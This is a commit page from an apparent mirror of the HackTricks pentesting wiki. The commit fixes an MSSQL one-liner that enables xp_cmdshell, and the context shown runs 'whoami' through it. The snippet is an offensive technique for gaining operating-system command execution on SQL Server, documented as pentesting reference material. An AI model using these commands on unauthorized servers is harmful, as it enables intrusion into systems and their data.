mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Update README.md
Updating One-liner too fix syntax issue
This commit is contained in:
parent
bab9044c8c
commit
bb684265c2
1 changed files with 1 additions and 1 deletions
|
@ -223,7 +223,7 @@ sp_configure 'xp_cmdshell', '1'
|
|||
RECONFIGURE
|
||||
|
||||
#One liner
|
||||
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
|
||||
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
|
||||
|
||||
# Quickly check what the service account is via xp_cmdshell
|
||||
EXEC master..xp_cmdshell 'whoami'
|
||||
|
|
Loading…
Reference in a new issue